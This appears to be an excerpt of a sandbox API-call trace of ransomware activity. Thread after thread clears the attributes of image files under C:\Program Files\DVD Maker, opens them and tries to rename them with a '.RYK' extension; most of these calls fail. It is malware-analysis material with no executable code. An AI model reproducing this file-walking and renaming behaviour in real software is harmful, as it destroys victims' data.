	[0177.769] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 806
	os_tid = 0x1394

	[0177.465] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0177.620] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.621] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 807
	os_tid = 0x1398

	[0177.623] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png", dwFileAttributes=0x80) returned 0
	[0177.623] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.623] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\button-overlay.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\button-overlay.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 808
	os_tid = 0x139c

	[0177.625] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png", dwFileAttributes=0x80) returned 0
	[0177.625] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.625] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Memories_buttonClear.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\memories_buttonclear.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 809
	os_tid = 0x13a0

	[0177.627] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0177.627] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.627] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 810
	os_tid = 0x13a4

	[0177.630] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png", dwFileAttributes=0x80) returned 0
	[0177.774] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Notes_content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\notes_content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 811
	os_tid = 0x13a8

	[0177.631] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png", dwFileAttributes=0x80) returned 0
	[0177.632] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.633] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 812
	os_tid = 0x13ac

	[0177.635] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png", dwFileAttributes=0x80) returned 0
	[0177.635] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.635] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_content-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_content-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 813
	os_tid = 0x13b0

	[0177.638] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png", dwFileAttributes=0x80) returned 0
	[0177.638] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.638] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_mainImage-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_mainimage-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 814
	os_tid = 0x13b4

	[0177.641] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png", dwFileAttributes=0x80) returned 0
	[0177.775] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0177.775] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0177.775] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\Title_select-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\title_select-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 815
	os_tid = 0x13b8

	[0178.174] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png", dwFileAttributes=0x80) returned 0
	[0178.363] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.577] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\menu_style_default_Thumbnail.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\menu_style_default_thumbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 816
	os_tid = 0x13bc

	[0178.175] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.176] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.176] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 817
	os_tid = 0x13c0

	[0178.178] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.178] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.178] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.178] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 818
	os_tid = 0x13c4

	[0178.180] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.180] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.181] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 819
	os_tid = 0x13c8

	[0178.182] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.365] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.366] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 820
	os_tid = 0x13cc

	[0178.184] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.184] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 821
	os_tid = 0x13d0

	[0178.186] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.187] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.187] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 822
	os_tid = 0x13d4

	[0178.367] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0178.373] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 823
	os_tid = 0x13d8

	[0178.391] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0178.396] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 824
	os_tid = 0x13dc

	[0178.414] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", dwFileAttributes=0x80) returned 0
	[0178.581] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.581] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.581] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 825
	os_tid = 0x13e0

	[0178.418] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.418] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.419] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 826
	os_tid = 0x13e4

	[0178.421] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.421] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.421] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.421] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 827
	os_tid = 0x13e8

	[0178.423] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.423] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.423] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 828
	os_tid = 0x13ec

	[0178.425] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0178.426] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.426] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0178.426] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 829
	os_tid = 0x13f0

	[0178.427] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0178.428] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0178.428] CloseHandle (hObject=0xffffffffffffffff) returned 0
